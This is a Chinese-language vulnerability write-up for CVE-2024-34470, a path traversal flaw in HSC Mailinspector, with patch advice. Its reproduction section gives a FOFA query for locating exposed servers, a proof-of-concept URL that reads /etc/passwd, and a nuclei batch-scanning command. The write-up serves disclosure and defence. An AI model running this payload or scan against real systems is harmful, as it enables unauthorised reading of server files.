免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)

0x01漏洞概述

0x02漏洞复现

0x03漏洞分析

0x04修复建议

HSC Mailinspector 任意文件读取漏洞(CVE-2024-34470)

0x01漏洞概述

HSC Mailinspector 是一种邮件安全解决方案,旨在保护企业和组织免受各种电子邮件威胁的影响。它提供了一系列功能,包括针对垃圾邮件、恶意软件、垃圾邮件和其他网络威胁的过滤和检测。

在 HSC Mailinspector 的 5.2.17-3 版本到 5.2.18 版本之间发现了一个问题。在 /public/loader.php 文件中存在一个未经身份验证的路径遍历漏洞。path参数没有正确过滤传递的文件和目录是否属于 Web 根目录,这使得攻击者能够读取服务器上的任意文件。

受影响版本

HSC Mailinspector : 5.2.17-3<=version<=5.2.18受影响。

CVE编号

CVE-2024-34470

0x02漏洞复现

fofa

body="mailinspector/public"

1.poc

https://target-IP/mailinspector/public/loader.php?path=../../../../../../../etc/passwd

构造如上payload,将target-IP替换成目的IP,在浏览器或burp中打开,即可查看目标系统的文件。

2.批量检测poc

使用nuclei,下载地址:

https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-34470.yaml

使用命令,nuclei.exe -t CVE-2024-34470.yaml -l 1.txt

图片

0x03漏洞分析

这个漏洞的成因是在/public/loader.php文件中存在path参数没有正确过滤传递的文件和目录是否属于网络根目录,从而允许攻击者读取服务器上的任意文件。

0x04修复建议

1.目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://hsclabs.com/mailinspector/

2.限制用户权限,避免授予过高的权限。

3.实施严格的访问控制和身份验证机制,以防止未经授权的访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/88173.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/88173.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/88173.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析C++驱动开发实战:优化高效稳定的驱动应用

深入解析C驱动开发实战&#xff1a;优化高效稳定的驱动应用 在现代计算机系统中&#xff0c;驱动程序&#xff08;Driver&#xff09;扮演着至关重要的角色&#xff0c;作为操作系统与硬件设备之间的桥梁&#xff0c;驱动程序负责管理和控制硬件资源&#xff0c;确保系统的稳定…

SNIProxy 轻量级匿名CDN代理架构与实现

&#x1f310; SNIProxy 轻量级匿名CDN代理架构与实现 &#x1f3d7;️ 1. 整体架构设计 &#x1f539; 1.1 系统架构概览 #mermaid-svg-S4n74I2nPLGityDB {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-S4n74I2nP…

Qt的信号与槽(一)

Qt的信号与槽&#xff08;一&#xff09;1.信号和槽的基本认识2.connect3.关闭窗口的按钮4.函数的根源5.形参和实参的类型&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f;&#x1f31f; &#x1f680;&#x1f680;系列专栏&#xff1a;【Qt的学习】 &…

springMVC02-视图解析器、RESTful设计风格,静态资源访问配置

一、SpringMVC 的视图在 SpringMVC 中&#xff0c;视图的作用渲染数据&#xff0c;将模型 Model (将控制器&#xff08;Controller&#xff09;)中的数据展示给用户。在 Java 代码中&#xff0c;视图由接口 org.springframework.web.servlet.View 表示SpringMVC 视图的种类很多…

Go中使用Google Authenticator

现在为了安全Google二次验证使用越来越平凡了&#xff0c;所以我们自己做的一些产品中&#xff0c;也会用到Google Authenticator。 介绍 Google Authenticator采用的算法是TOTP&#xff08;Time-Based One-Time Password基于时间的一次性密码&#xff09;&#xff0c;其核心内…

ReactNative【实战系列教程】我的小红书 4 -- 首页(含顶栏tab切换,横向滚动频道,频道编辑弹窗,瀑布流布局列表等)

最终效果 顶栏 modules/index/components/topBar.tsx import icon_daily from "/assets/images/icon_daily.png"; import MaterialIcons from "expo/vector-icons/MaterialIcons"; import { useCallback, useState } from "react"; import { Im…

告别Root风险:四步构建安全高效的服务器管理体系

当整个开发团队都使用root账号操作服务器&#xff0c;且重要数据无备份时&#xff0c;系统如同行走在悬崖边缘。本文将分享一套经过验证的四步解决方案&#xff0c;帮助团队快速提升主机安全性。 为什么必须告别Root账号&#xff1f; 直接使用root账号的风险&#xff1a; &am…

【IM项目笔记】1、WebSocket协议和服务端推送Web方案

这里写自定义目录标题 1、HTTP和WebSocket协议2、WebSocket3、Http VS WebSocket4、WebSocket - 建立连接5、服务端推送Web方案(1) 短轮询(2) 长轮询(3) WebSocket长连接1、HTTP和WebSocket协议 📕 HTTP请求的特点:通信只能由客户端发起。所以,早期很多网站为了实现推送技…

【深度学习新浪潮】什么是上下文长度?

大型语言模型(LLM)的上下文长度是指模型在处理当前输入时能够有效利用的历史文本长度,通常以token(如单词、子词或标点)为单位衡量。例如,GPT-4支持128K token的上下文,而Llama 4 Scout甚至达到了10M token的惊人规模。这一指标直接影响模型在长文档理解、多轮对话等复杂…

Modbus TCP转Profibus网关轻松让流量计与DCS通讯

Modbus TCP转Profibus网关轻松让流量计与DCS通讯工业自动化系统中&#xff0c;协议差异常成为设备互联的“语言障碍”。例如&#xff0c;当流量计采用Modbus TCP协议&#xff0c;而DCS系统仅支持Profibus DP时&#xff0c;如何实现无缝通信&#xff1f;本文将结合技术原理与真实…

云时代下的IT资产管理自动化实践

前言伴随着企业数字化转型进程的加快&#xff0c;IT资产规模日益庞大且复杂。传统的手工IT资产登记、跟踪与管理方式&#xff0c;效率低下且容易出错&#xff0c;已经无法满足现代企业对于敏捷化、可视化和自动化运维的需求。云计算、容器化、微服务架构的普及又进一步加快了资…

Windows主机远程桌面连接Ubuntu24.04主机

最近刚刚换了台新电脑&#xff0c;想着空出老电脑直接装一个Ubuntu系统给新电脑远程连接过去进行开发&#xff0c;就可以完美避开双系统老是要重启切换的问题。仔细一查发现Ubuntu24.04自带了RDP远程工具&#xff0c;大喜&#xff01;于是探究了一番。 本篇文章将介绍本人探究…

Android WebView 性能优化指南

Android WebView 性能优化指南 WebView优化需要从多个维度综合考虑&#xff1a;优化维度关键措施预期收益初始化延迟加载、实例复用降低内存峰值渲染硬件加速、合理布局提升流畅度20%内存独立进程、泄漏防护减少OOM风险网络缓存策略、资源拦截节省流量30%安全漏洞修复、接口限制…

Linux下SPHinXsys源码编译安装及使用

目录 软件介绍 基本依赖 一、源码下载 二、安装依赖库 1、BLAS 2、LAPACK 3、oneTBB 4、googletest 5、Boost 6、Simbody 7、pybind11 8、Eigen3 三、解压缩 四、编译安装 软件介绍 SPHinXsys是胡湘渝博士团队采用C/C开发的一个开源无网格、多分辨率、多物理场、…

Linux中的静态库和动态库

首先 我们要明白什么是库? 库&#xff08;Library&#xff09;是一组预编译的代码&#xff0c;提供特定的功能&#xff0c;可以被多个程序共享调用&#xff0c;避免重复编写代码。在链接步骤中&#xff0c;链接器将从库文件取得所需的代码&#xff0c;复制到生成的可执行文件中…

Vue3-组件化-Vue核心思想之一

一.组件及组件化1.组件化的作用由于之前的代码全写在一个App.vue这个文件里面&#xff0c;会到导致一个文件代码过于多而且不易复用&#xff0c;所以有组件化的思想。2.组件的使用①创建创建一个.vue文件&#xff0c;使用setup的简写方式会自动导出.vue文件②导入import 组件对…

OS学习笔记

《几个基本知识点》 一、2的幂 1024210 51229 25628 12827 6426 3225 1624 823 422 221 K210 G220 M230 T240 P250 E260 Z270 Y280 R290 Q2100 二、常用的ASCII码 ‘1’0x31 ‘A’0x41 ‘a’0x61 空格0x20 换行0x0A 回车0x0D 三、存储器层次中的典型速度 CPU/寄存器&#xff1a…

嵌入式学习笔记-MCU阶段-DAY01

恭喜大家完成了C语言的学习&#xff0c;现在咱们来到咱们的硬件MCU阶段&#xff0c;咱们这里的工程用的是keil&#xff0c;环境搭建不再赘述&#xff0c;希望大家在这一阶段仍然学的愉快 1.资料部分 用的最多的就是STM32f103的手册&#xff0c;搭配STM32F103ZET6的开发板 2.概…

three案例 Three.js波纹效果演示

波纹效果&#xff0c;在智慧城市可视化开发中经常用到&#xff0c;这里分享一个比较好玩的案例 以下是详细的步骤&#xff1a; 初始化部分&#xff1a;设置 Three.js 环境&#xff0c;包括场景、相机、渲染器和控制器 几何体和纹理&#xff1a;创建平面几何体并加载波纹纹理 着…

Flutter-详解布局

上一章我们详细的学习了 Flutter 中的Widget&#xff0c;这一章我们将要学习 Flutter 的布局&#xff0c; 在上一章我们了解到了&#xff1a;Everything is a widget&#xff0c;在 Flutter 中几乎所有的对象都是一个 Widget &#xff0c;当然也包括布局&#xff0c;Flutter 的…